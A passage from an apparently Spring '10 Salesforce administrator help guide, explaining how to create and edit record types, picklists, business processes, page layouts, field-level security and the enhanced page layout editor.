4. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an
existing record type to clone its picklist values.
5. Enter a Record Type Label that's unique within the object.
6. Enter a Record Type Name. This name can contain only underscores and alphanumeric characters, and must be unique
in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores. The Record Type Name refers to the component when using the Web services API and prevents
naming conflicts on package installation in managed packages.
7. For opportunity, case, lead, and solution record types, select a business process to associate with the record type.
8. Enter a description.

1005
Customize Editing Picklists for Record Types and Business Processes

9. Select Active to activate the record type.


10. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the
checkbox in the header row to enable it for all profiles.
11. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox
in the header row to make it the default for all profiles.
12. Click Next.
13. Choose a page layout option to determine what page layout displays for records with this record type:

• To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
• To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.

14. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.

See Also:
Assigning Record Types to Profiles
What is a Person Account?

Editing Picklists for Record Types and Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change record types: “Customize Application”
To create or change business processes: “Customize Application”

To customize the values in record type and/or business process picklists:

1. Select a record type and click Edit next to one of the picklist fields to customize the values included for the record type.
Or, select a business process to customize the values included in that business process.
2. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to
choose from the list of selected values when creating and editing records.
3. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent field is
ignored.
4. Click Save.

Tips for Editing Picklists and Record Types


• The master picklist, the complete list of values in a picklist, is independent of all record types and business processes. If
you add a picklist value to the master picklist, you must manually include the new value in the appropriate record types. If

1006
Customize Viewing and Editing Record Types

you remove a picklist value from the master, it is no longer available when creating new records. But records assigned to
that value are unchanged.
• Renaming a record type does not change the list of values included in it.
• The following special picklist fields are not available for record types because they are used exclusively for sales processes,
lead processes, support processes, and solution processes:
- Opportunity Stage
- Case Status
- Solution Status
- Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to
each record type.
• The following campaign member picklists are not available for record types:
- Status
- Salutation
- Lead Source

• After creating record types, add the Record Type field to your page layouts if you would like the field displayed on record
detail and edit pages. A user profile can be associated with several record types. For example, a user who creates marketing
campaigns for both US and European divisions can have both US and European campaign record types available when
creating new campaigns.
Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing
campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page
layout. You must have the Marketing User user permission to change the campaign member type. You can also add a
read-only Campaign Member Type field to the campaign members page layout.

See Also:
About Custom Fields
Setting Record Type Preferences
Assigning Record Types to Profiles

Viewing and Editing Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view record type setup pages: “View Setup and Configuration”
To create or change record types: “Customize Application”

To view a list of record types, click Setup ➤ Customize, select an object, and click Record Types. For campaign member
record types, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Members ➤ Record Types.

• Click New to create a new record type.

1007
Customize Managing Multiple Business Processes

• Click Edit to change the name of a record type or deactivate it by deselecting the Active checkbox. Deactivating a record
type does not remove it from any user profiles.
• Click Del to delete an inactive record type and assign associated records a different record type. To leave the record type
field blank on records associated with the deleted record type, select None.
Note: Deleting campaign member record types updates the Campaign Member Type field on campaign and
campaign member records.

• Click the name of the record type to edit the picklists associated with it.
• Click Page Layout Assignment to set which page layouts users can see based on profiles and record types.

Note: You cannot edit or delete a record type for an object if the object is referenced in an Apex script. For more
information, see Force.com Apex Code Overview on page 1538.

See Also:
Assigning Page Layouts
About Field Accessibility

Managing Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change business processes: “Customize Application”

Use multiple business processes to display different picklist values for users based on their profile. Multiple business processes
allow you to track separate sales, support, and lead lifecycles.
Sales Processes
Create different sales processes that include some or all of the picklist values available for the opportunity Stage field.

Lead Processes
Create different lead processes that include some or all of the picklist values available for the Lead Status field.

Support Processes
Create different support processes that include some or all of the picklist values available for the case Status field.

Solution Processes
Create different solution processes that include some or all of the picklist values available for the Status field.

After creating a sales, support, lead, or solution process, assign the process to a record type. The record type determines the
user profiles that are associated with the business process.

1008
Customize Overview of Page Layouts and Field-Level Security

To view a list of business processes, click Setup ➤ Customize, select the appropriate tab link (Opportunity, Case, Lead, or
Solution), and click the Processes link.

• Click New to create a new business process.


• Click Edit to change the name or inactivate the business process.
• Click Del to delete an unused business process.
• Click the name of the business process to edit the picklist values associated with it.

Creating Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change business processes: “Customize Application”

Follow these steps to create sales processes, support processes, lead processes, and solution processes.

1. Select Setup ➤ Customize, select the appropriate tab link: Opportunity, Case, Lead, or Solution.
2. Click the Processes link.
3. Click New.
4. Choose an existing process to copy its picklist values into the new process. Select Master to copy all available picklist
values.
5. Enter a name and description for the new process. The name must be unique within the tab.
6. Click Save.
All of the available values in the picklist are displayed. Choose the values that you would like included in the new business
process.
7. See Editing Picklists for Record Types and Business Processes for instructions on building the list of values for this business
process.
Next, add the new business process to a record type (see Managing Record Types) and then make the record type available to
users based on profile (see Assigning Record Types to Profiles on page 469).

Overview of Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions
Field-level security available in: Enterprise, Unlimited, and Developer Editions

Use field-level security to control the access that users have to certain fields. Additionally, use page layouts to control the layout
and organization of detail and edit pages in Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal.
Customize search layouts to change which fields display in search results and the buttons that display on list views.

1009
Customize Overview of Page Layouts and Field-Level Security

Important: While you can use page layouts to hide fields from detail and edit pages, be aware that users may still be
able to access those fields by other means, including reports, search results, list views, and the API. Use field-level
security to restrict all means of accessing a field. Field-level security doesn't prevent searching on the values in a field.
To prevent users from searching and retrieving records that match a value in a field hidden by field-level security,
contact salesforce.com Customer Support for assistance with setting up your organization to prevent unwanted access
to those field values.

Field-Level Security
• Restrict users’ access to view and edit fields by any means, including reports, search results, list views, related lists, email
and mail merge templates, custom links, Connect Offline, the API, and when synchronizing data or importing personal
data.
• Override any less-restrictive field access settings in page layouts and mini page layouts.
For example, if a field is required in the page layout and read only in the field-level security settings, the field-level security
overrides the page layout and the field will be read only for the user.
• Override less-restrictive field settings in search layouts.
For example, if a field is visible in the search layout but hidden for certain users via the field-level security settings, the
field-level security overrides the search layout and the field will be hidden for those users.

Page Layouts
• Control the layout and organization of detail and edit pages
• Control which fields, related lists, and custom links users see, on detail and edit pages only
• Control which standard and custom buttons display on detail pages and related lists
• Determine whether fields are visible, read only, or required, on detail and edit pages only
• In Personal, Contact Manager, Group, and Professional Editions, control which fields users can access in related lists, list
views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data or importing
personal data
• In Professional, Enterprise, Unlimited, and Developer Editions, determine some aspects of mini page layouts, including
record type and profile associations, related lists, fields, and field access settings. The visible fields and related lists of the
mini page layout can be further customized, but the other items inherited from the associated page layout cannot be changed
on the mini page layout itself. Mini page layouts display selected fields and related lists of records in the mini view of the
console. See What is the Console? on page 2364 for more information.
Note: To automatically add a field to all page layouts and make it visible and required everywhere regardless of
field-level security, make it a universally required field.

See Also:
Managing Page Layouts
Setting Field-Level Security

1010
Customize Overview of Page Layouts and Field-Level Security

Setting Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions
Field-level security available in: Enterprise, Unlimited, and Developer Editions

Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to organize detail and
edit pages within tabs. This reduces the number of page layouts for you to maintain.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.

For Personal, Contact Manager, Group, and Professional Editions


1. Create custom fields.
2. Create any custom buttons or links.
3. Create any custom s-controls.
4. Define page layouts. All users automatically use the same page layout for each tab.
5. Set the related objects and the mini page layouts that display in the console.
6. Define search layouts. All users use the same search layouts.

For Enterprise, Unlimited, and Developer Editions


1. Create custom fields.
2. Create any custom buttons or links.
3. Create any custom s-controls.
4. Create any custom profiles.
5. Create record types for different business scenarios.
6. Assign which record types are available to users with different profiles.
7. Set the field-level security for each profile to restrict users’ access to specific fields.
8. Define page layouts to organize your pages.
9. Set the related objects and the mini page layouts that display in the console.
10. Assign page layouts to users based on profiles and record types.
11. Check the field accessibility grid to verify that all field access settings are correct.
12. Define search layouts. All users use the same search layouts.

1011
Customize Overview of Page Layouts and Field-Level Security

Managing Page Layouts


Available in: All Editions

User Permissions Needed


To create, edit, and delete page layouts: “Customize Application”

You can customize the page layouts for record detail and edit pages, Self-Service portal pages, Salesforce.com Customer Portal
pages, and the case close page. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce,
custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can
include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the
size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display.
To work with page layouts, go to Setup ➤ Customize, click the appropriate kind of record, and select Page Layouts. You
can:

• Click New to create layouts; see Creating Page Layouts on page 1013.
• Click Edit to modify layouts or customize related lists; see Customizing Page Layouts on page 1014.
• Click Del to delete layouts; see Deleting Page Layouts on page 1036.
• Click Page Layout Assignment to assign page layouts to profiles and record types; see Assigning Page Layouts on page
1036.

For Personal, Contact Manager, Group, and Professional Edition organizations, every user views the same layout. Enterprise,
Unlimited, and Developer Edition organizations can create different page layouts for use by different profiles and record types
and set field-level security settings to further restrict users’ access to specific fields. See Assigning Page Layouts on page 1036
and Setting Field-Level Security on page 540 for more information.
In Professional, Enterprise, Unlimited, and Developer Editions, you can set the mini page layouts and related objects that
appear in the console. See Choosing Related Objects for the Mini Console View on page 2367 and Defining Mini Page Layouts
on page 2368 for more information.
Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to organize
detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Note that field-level
security settings override the visible and read-only settings on the page layout if the field-level security has a more
restrictive setting than the page layout.

1012
Customize Overview of Page Layouts and Field-Level Security

Note: Salesforce.com periodically runs a background process that cleans up metadata associated with deleted custom
fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record
types, and custom objects.

See Also:
Overview of Page Layouts and Field-Level Security
Editing Mobile Object Properties
About Field Accessibility
Customizing Home Tab Page Layouts
Managing Profiles
Setting Up Self-Service
Setting Up the Console
Setting Up Your Customer Portal
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Creating Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create page layouts: “Customize Application”

To create a new page layout:

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For opportunities, click Setup ➤ Customize ➤ Opportunities ➤ Opportunity Products ➤ Page Layouts to create or
edit the additional page layouts for products on opportunities.
For person accounts, click Setup ➤ Customize ➤ Accounts ➤ Person Accounts ➤ Page Layouts to create or edit the
additional page layouts for person accounts.
For campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Page Layouts.
2. Click the New button, and then optionally choose an existing layout to copy.
Tip: To create a page layout based off an existing page layout by doing one of the following:

• In the enhanced page layout editor, select an existing page layout from the list of page layouts, then click Save
As to create a copy of the layout.
• In the original page layout editor, select an existing page layout from the list of page layouts, then click the
Clone button.

3. Enter a Page Layout Name for the new layout.


4. Click Save.

1013
Customize Overview of Page Layouts and Field-Level Security

See Customizing Page Layouts for instructions on modifying the page layout. For information on defining mini page layouts
for the console, see Setting Up the Console on page 2366.

See Also:
Managing Page Layouts
Customizing Related Lists
Overview of Page Layouts and Field-Level Security

Customizing Page Layouts


Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts (enhanced page layout editor only): “View Setup”

Salesforce.com has two drag-and-drop tools for editing page layouts: the original page layout editor and a new enhanced page
layout editor. The enhanced page layout editor is enabled by default, and provides all of the functionality of the original editor,
as well as additional functionality and an easier-to-use WYSIWYG interface.
If you want to use the original page layout editor, you can enable it for your organization in the User Interface settings. Your
organization can only use one of the page layout editors at a time.

Accessing the Enhanced Page Layout Editor


To access page layouts for standard objects:
1. Select Setup ➤ Customize.
2. Choose the object.
3. Do one of the following:
• In Enterprise, Unlimited, and Developer Edition organizations, choose the Page Layouts link and click Edit next to
the page layout you want to customize.
Note: If you only have the “View Setup” permission, the Edit button is not available. Click the name of the
page layout to view it instead.

• In all other editions, choose the Page Layout link.

To access page layouts for custom objects:


1. Select Setup ➤ Create ➤ Objects.
2. Choose the object.
3. Scroll to the Page Layouts section.
4. Click Edit next to the page layout you want to customize.

1014
Customize Overview of Page Layouts and Field-Level Security

Note: If you only have the “View Setup” permission, the Edit button is not available. Click the name of the page
layout to view it instead.

Alternatively, when you are on a detail page, click the Edit Layout link in the upper right corner to quickly customize the
page layout. Salesforce.com displays the Edit Layout link only to users with the “Customize Application” permission.
For more information on the enhanced page layout editor, see Customizing Page Layouts with the Enhanced Page Layout
Editor on page 1016.

Accessing the Original Page Layout Editor


To access page layouts for standard objects:
1. Select Setup ➤ Customize.
2. Choose the object.
3. Do one of the following:
• In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
• In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

To access page layouts for custom objects:


1. Select Setup ➤ Create ➤ Objects.
2. Choose the object.
3. Scroll to the Page Layouts section.
4. Do one of the following:
• In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
• In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

For more information on the original page layout editor, see Customizing Page Layouts with the Original Page Layout Editor
on page 1029.

See Also:
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

1015
Customize Overview of Page Layouts and Field-Level Security

Customizing Page Layouts with the Enhanced Page Layout Editor

Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

The enhanced page layout editor is a feature-rich WYSIWYG tool that allows you to customize your organization’s page
layouts for detail and edit pages in Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal. The
enhanced page layout editor is enabled by default and provides all of the functionality of the original page layout editor, as
well as additional functionality and an easier-to-use interface. To access the page layout editor, see Customizing Page Layouts
on page 1014.
Note: To access the enhanced page layout editor, see Customizing Page Layouts on page 1014.

The enhanced page layout editor consists of two parts: a palette on the upper portion of the screen and the page layout on the
lower portion of the screen. The palette contains the user interface elements, such as fields, buttons, links, related lists, and
any additional elements that are available for you to add to the page layout.
When working with enhanced page layout editor:

• To add a user interface element to the page layout, select the category to which the element belongs on the left column of
the palette, and drag the element from the palette to the page layout.
• To remove a user interface element from the page layout, drag the element from the page layout to the right side of the
palette, or click the x icon ( ) next to the element.
• Use the undo and redo buttons to step backwards and forwards, respectively.
• Use the following keyboard shortcuts:

- Undo = CTRL+Z
- Redo = CTRL+Y
- Quick Save = CTRL+S

• To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
• To change the properties of any element on the page layout, double-click the element or click the wrench icon ( ) next
to it. You cannot change the properties of elements in the palette.
• To make a field read-only or required, double-click the field in the page layout and select the Read-Only or Required
checkboxes.
• To gain vertical space when working on moving items around within the page layout, click the arrow beneath the palette
to collapse it.
• To access the other layouts for an object when viewing or customizing an object with multiple page layouts, click the page
layout name at the top of the page and select another layout to view.
• To change the name of the page layout, add personal and public tags if available, and display standard object checkboxes
on the page layout, click Layout Properties.

1016
Customize Overview of Page Layouts and Field-Level Security

• To review the page layout, click Preview As. From the preview in Enterprise, Unlimited, and Developer Editions, select
a profile to see how the pages will look for users with different profiles. Note that most related lists’ columns preview
without data.
• To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for page layouts
that have large numbers of items available in the palette.
• To save your changes and continue editing the page layout, click Quick Save.
• To save your changes when you are done customizing the page layout, click Save. If you navigate away from your page
layout before clicking save, your changes will be lost.
• To create a copy of your page layout, click Save and select Save As.
• To choose which related records display in the console's mini view, click Mini Console View. (Available in Professional,
Enterprise, Unlimited, and Developer Edition organizations only.)
Note: You cannot choose Mini Console View for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.

• To define the mini page layouts of the records that appear in the mini view of the console, click Mini Page Layout. The
mini page layout also defines the layout of the hover details and event overlays. (Available in Professional, Enterprise,
Unlimited, and Developer Edition organizations only.)
Note: You cannot define mini page layouts for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.

See Also:
Customizing Page Layouts
Notes on Using the Enhanced Page Layout Editor
Enhanced Page Layout Editor User Interface Elements
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

1017
Customize Overview of Page Layouts and Field-Level Security

Customizing Page Layouts with the Enhanced Page Layout Editor—New Opportunity Page Pilot

Available in: Enterprise and Unlimited Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

Note: The highlights panel is part of the new opportunity page, which will be available later in Spring '10 through a
pilot program. For information on enabling this feature for your organization, contact salesforce.com.

Use the enhanced page layout editor to customize your organization’s page layouts for detail and edit pages in Salesforce.com.
Navigating the Enhanced Page Layout Editor
There are two distinct sections of the page: a palette at the top and a page layout below.
The palette contains the user interface elements that you can add to the page layout, including fields, buttons, links, and
related lists

• Click beneath the palette to expand or collapse it.


• In the left column, select the element category to display different element types on the palette.
• Use Quick Find to easily locate items on the palette.

The page layout represents how the page is organized.

• At the top, a highlights panel displays key information at a glance. The highlights panel is a table of up to four
columns that appears at the top of the opportunity page. Each column has one or two fields that you can customize
to suit your business needs. Hover over the highlights panel and click (or double-click the highlights panel) to
edit.
• The lower portion displays detail sections and related lists:

- Drag and drop items between the palette and the page layout or within the page layout to add, remove, or move
elements.
- Use CTRL+click and SHIFT+click to select multiple elements.

Working With the Enhanced Page Layout Editor

• To add user interface elements to page layouts: In the palette's left column, select the element category, then drag
elements from the palette onto the page layout.
• To save page layouts:

- To save your changes and continue editing the page layout, click Quick Save.
- When you've finished editing the page layout, click Save. Don't navigate away from the page layout before clicking
Save or you'll lose your changes.

1018
Customize Overview of Page Layouts and Field-Level Security

• To change the format and fields in the highlights panel, see Customizing Highlights Panels—New Opportunity
Page Pilot on page 1019.
• To move elements in the detail sections and related lists, drag and drop them into the new location.
• To remove elements from page layouts, hover over the element and click (or drag elements from the page layout
onto the right side of the palette).
• To change element properties (for example, to make fields read-only or required), hover over the element and click
or double-click the element.
• To edit other opportunity page layouts (in Enterprise, Unlimited, and Developer Editions), click the page layout
name at the top of the page and select the layout.
• To rename page layouts and display standard object checkboxes, click Layout Properties.
• To see how page layouts appear for users, click Preview As. In Enterprise, Unlimited, and Developer Editions, select
a profile to see how the pages look for different user profiles. The preview shows sample information and most related
lists’ columns are empty. Currently, the highlights panel doesn't appear in the page layout preview.
• To copy page layouts, click Save and select Save As.
• To define how hover details appear, click Mini Page Layout (in Professional, Enterprise, Unlimited, and Developer
Editions).

See Also:
Customizing Highlights Panels—New Opportunity Page Pilot
New Opportunity Page—Pilot
Using Opportunities — New Opportunity Page Pilot

Customizing Highlights Panels—New Opportunity Page Pilot

Available in: Enterprise and Unlimited Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

Note: The highlights panel is part of the new opportunity page, which will be available later in Spring '10 through a
pilot program. For information on enabling this feature for your organization, contact salesforce.com.

The highlights panel is a table of up to four columns that appears at the top of the opportunity page. Each column has one
or two fields that you can customize to suit your business needs. Salesforce.com creates a default highlights panel for each
page layout. Hover over the highlights panel and click (or double-click the highlights panel) to edit.
Highlights Panel Fields and Format
The Highlights panel displays standard and custom fields, and columns. The following formatting rules apply:

• Standard and custom fields

1019
Customize Overview of Page Layouts and Field-Level Security

- Fields must also be on the detail page layout


- Fields can appear once per highlights panel

• Columns—minimum one, maximum four. Column widths resize automatically.


• Fields per column—one or two, in top or bottom positions.
When users see the highlights panel:

- Top fields appear in bold and in a larger font than bottom fields.
- Blank fields appear as follows:

- Top fields—appear blank (except when top fields are blank because users don't have permission to view them).
- Bottom fields—the top field expands to fill the column
- Both fields—the column appears blank

• Users see only the fields that they have permission to view.
If users can't see:

- Top fields—the bottom field replaces the top field and expands to fill the column
- Bottom fields—the top field expands to fill the column
- Any fields in a column—the column is removed

Editing the Highlights Panel


Hover over the highlights panel and click (or double-click the highlights panel) to edit.

• To add or change fields, click the appropriate column and select fields from the Top Field and Bottom Field
lists:

- Fields must also be on the detail page layout. If fields you want to add aren't listed, add them to the detail page
layout.
- Rich text area (RTA) and custom long-text area fields are not supported in the highlights panel, even if they are
included in the detail page layout.
- Fields can appear once per highlights panel. Fields already in use appear grey in the field-selection lists.

• To remove fields, click the appropriate column and select -None- from the field-selection lists
• To add columns, click Add Column.

To remove columns, hover over the column and click .
• To save highlights panel changes, click OK in the Highlights Panel Properties dialog box. When you've finished
editing the page layout, click Save. Don't navigate away from the page layout before clicking Save or you'll lose your
changes.
Note: Ensure highlights panels contain at least one field; saving empty highlights panels causes page layout
errors.

1020
Customize Overview of Page Layouts and Field-Level Security

Previewing the Highlights Panel


Currently, the highlights panel doesn't appear in the page layout preview.

See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor—New Opportunity Page Pilot
New Opportunity Page—Pilot
Using Opportunities — New Opportunity Page Pilot

New Opportunity Page—Pilot

Available in: Enterprise and Unlimited Editions

User Permissions Needed


To view opportunities: “Read” on opportunities
To edit opportunities: “Edit” on opportunities
To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

Note: The new opportunity page is available through a pilot program. For information on enabling this feature for
your organization, contact salesforce.com.

This pilot program provides an improved opportunity detail page so you can get to the information you need and update the
details more quickly.
Key Features

Highlights panel
View key information at a glance. You can quickly assess deal status and make better-informed decisions about
each opportunity. The highlights panel is a table of up to four columns that appears at the top of the opportunity
page. Each column has one or two fields that you can customize to suit your business needs.

End-User Customization
Quickly and easily navigate and personalize your page using the drag and drop side tabs. For example, you can
reorder and hide related lists on the opportunity page.

Chatter
See an opportunity's latest updates and comments, or review a deal's history using this new feature.

Recommendations
Tap into your sales organization's knowledge by connecting with people who won similar deals. The
Recommendations tool finds similar opportunities with a status of Closed/Won and displays the opportunity

1021
Customize Overview of Page Layouts and Field-Level Security

owners. Note that while you can view the owners of opportunities that you don't have permission to view, you
can't access the opportunity details.

Browser Support
You can use the new opportunity page in these browsers:

• Internet Explorer 7 or 8
• Firefox 3.0.x
• Safari 3.2.x

Note: Internet Explorer 6 is not supported.

Prerequisite Settings
We ask you to enable the required new user interface theme:

1. Go to Setup ➤ Customize ➤ User Interface


2. Select Enable New User Interface Theme.
3. Click Save.

Salesforce.com enables these required user interface settings during the pilot program:

• Collapsible Sidebar
• Enhanced Page Layout Editor

Limitations
This is a pilot program; limitations include:

• Currently, you can't tag opportunities using the new opportunity page.
• The new opportunity page is not available in:

- The console
- The Customer Portal, partner portal, and Self-Service portal

• The highlights panel can't be added to a package.


• Currently, Visualforce doesn't support the new opportunity page.
• Highlights panel configuration is not yet supported in the MMM.
• Accessibility mode is not supported.

See Also:
Using Opportunities — New Opportunity Page Pilot
Customizing Page Layouts with the Enhanced Page Layout Editor—New Opportunity Page Pilot
Customizing Highlights Panels—New Opportunity Page Pilot

1022
Customize Overview of Page Layouts and Field-Level Security

Enhanced Page Layout Editor User Interface Elements

Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

The following list describes the enhanced page layout editor user interface elements and how you can use them in your page
layout.
Tip: Create the appropriate buttons, custom links, fields, custom s-controls, and Visualforce pages before editing
your page layout.

Blank Spaces
You can add and move blank spaces to any section on the page layout. Use blank spaces to visually align and distinguish
elements on the page.
To add a blank space, drag the Blank Space user interface element from the palette to the desired location on the page
layout. The Blank Space user interface element is the first option in the palette when you select the Fields, Custom
Links, Custom S-Controls, or Visualforce Pages category on the palette.
Note: If you use the original page layout editor to view a page layout that was created in the enhanced page
layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add
blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the
right.

Buttons
The top of the page layout has a place for standard buttons and another for custom buttons. You can control which
standard and custom buttons are displayed and the order in which the custom buttons appear; however, you cannot
rearrange the order in which the standard buttons appear.
To add a custom or standard button to the page layout, select the Buttons category on the palette and drag one or more
buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons
area, and custom buttons must go in the custom buttons area.
To remove a standard or custom button from the page layout, drag the button to the palette.
For information on buttons in related lists, see Related Lists.

Custom Links
To add custom links to the page layout, select the Custom Links category on the palette and drag one or more custom
links from the palette to the Custom Links section on the page layout.
To remove a custom link from the page layout, drag the custom link to the palette.

1023
Customize Overview of Page Layouts and Field-Level Security

Fields
To add fields to the page layout, select the Fields category on the palette and drag one or more fields from the palette
to any section on the page layout, except for sections reserved for custom buttons or links and related lists.
A field might display one or more of the following icons:

•  The field must have a value to save the record but is not required on the page layout itself.
•  The field must be included on the page layout because either an administrator configured the field as universally
required or Salesforce.com automatically requires the field. Although you cannot remove such fields, you can move
them to different locations.
•  The field is a controlling field.
•  The field is a dependent field.
•  The field is read only.

To set which fields are required and read only, select one or more fields and click the wrench icon ( ) on any of the
selected fields.

• The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
• Fields marked as read only are always editable by administrators and users with the “Edit Read Only Fields” permission.
• If you make a picklist field read only, all new records will contain the default value for that picklist.
• Auto-number fields are always read only.
• If you mark the opportunity Probability field as read only, the Probability value will still be updated
automatically when a user changes the Stage value of an opportunity.

When working with fields, note the following:

• In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access
in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when
synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
Field-level security settings override any field properties you set on the page layout if the field-level security is more
restrictive than the page layout setting. See Setting Field-Level Security on page 540.
• In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into
any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can
import only into the fields that are accessible to them via their page layout or field-level security settings.
• For information on setting which fields display for users in search results, see Customizing Search Layouts on page
1044.

Related Lists
To add related lists to the page layout, select the Related Lists category on the palette and drag one or more related lists
from the palette to the desired location on the page layout. A page layout can have up to 100 related lists.
You can place related lists at the bottom of the page layout. To move a related list on the page layout, drag the handle
located above the related list.

To customize a related list, double-click the related list handle or click the wrench icon ( ) inside the handle. Use the
related list properties to:

• Specify which fields display as columns on the related list, the order in which they appear, and the sort order of the
records in the related list. In Professional, Enterprise, and Unlimited Editions, you can also opt to apply the column
information to other page layouts for the same type of object.

1024
Customize Overview of Page Layouts and Field-Level Security

• Specify which standard and custom buttons appear on the related list.

When working with related lists on page layouts, note the following:

• Some related lists are not customizable because they link to data rather than store it. Salesforce.com denotes related
lists that are not customizable on the page layout.
• You cannot add related lists to the page layouts for the User object.
• You can also enable related list hover links for your organization so that record detail pages include links for each
related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding
related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also
click a related list hover link to jump down to the content of the related list without having to scroll down the page.
To enable related list hover links, see Customizing User Interface Settings on page 1247.
• In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which related lists
display for their personal use. Administrators can overwrite these user customizations and apply the related list
configuration in the page layout to all users, even if they already customized their display. To overwrite users' related
list customizations, click Yes on the Overwrite Users' Personal Related List Customizations popup window, which
appears when saving a page layout if you moved or added a related list.

Custom S-Controls

To add s-controls to the page layout, select the Custom S-Controls category on the palette and drag one or more
s-controls from the palette to any section on the page layout, except for sections reserved for custom buttons or links
and related lists. A page layout can have up to 20 s-controls.

To change the properties of an s-control, double-click the s-control or click its wrench icon ( ) and set the following
attributes:

• Width sets the horizontal size in pixels or a percent.


• Height sets the vertical size in pixels.
• Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary.
• Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to
display the s-control in a wider area.

Sections
You can add and move sections anywhere above the related lists on the page layout. The sections you add can contain
fields, s-controls, and blank spaces. In addition, each page layout has a default section that can only contain custom links
and blank spaces. You can change the location of the custom link section, but you cannot remove it from the page.
To add a section, drag the Section user interface element from the palette to the desired location on the page layout.
The Section user interface element is the second option in the palette when you select the Fields or Custom S-Controls
category on the palette.

To change the attributes of a section, double-click the section or select its associated wrench icon ( ). You can:

• Enter a name for the section. Note that names of some standard page sections cannot be changed.
• Specify whether the section should have one or two columns.
• Specify the order in which users will be able to tab through the items in that section.
• Specify whether the section heading should be shown on the detail and edit pages.

1025
Customize Overview of Page Layouts and Field-Level Security

Tags
If tags are enabled in your organization, click Layout Properties and use the checkboxes to indicate whether personal
and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal
nor public tags are included in the header section. Also, the positioning of personal and public tags in the header cannot
be modified.

Visualforce Pages
To add Visualforce pages to the page layout, select the Visualforce Pages category on the palette and drag one or more
Visualforce pages from the palette to any section on the page layout, except for sections reserved for custom links and
related lists. A page layout can have up to 20 Visualforce pages.
You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object
for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to
that object, the Visualforce Pages category does not appear in the palette.

See Also:
Notes on Using the Enhanced Page Layout Editor
Customizing Page Layouts with the Enhanced Page Layout Editor

Notes on Using the Enhanced Page Layout Editor

Available in: All Editions

User Permissions Needed


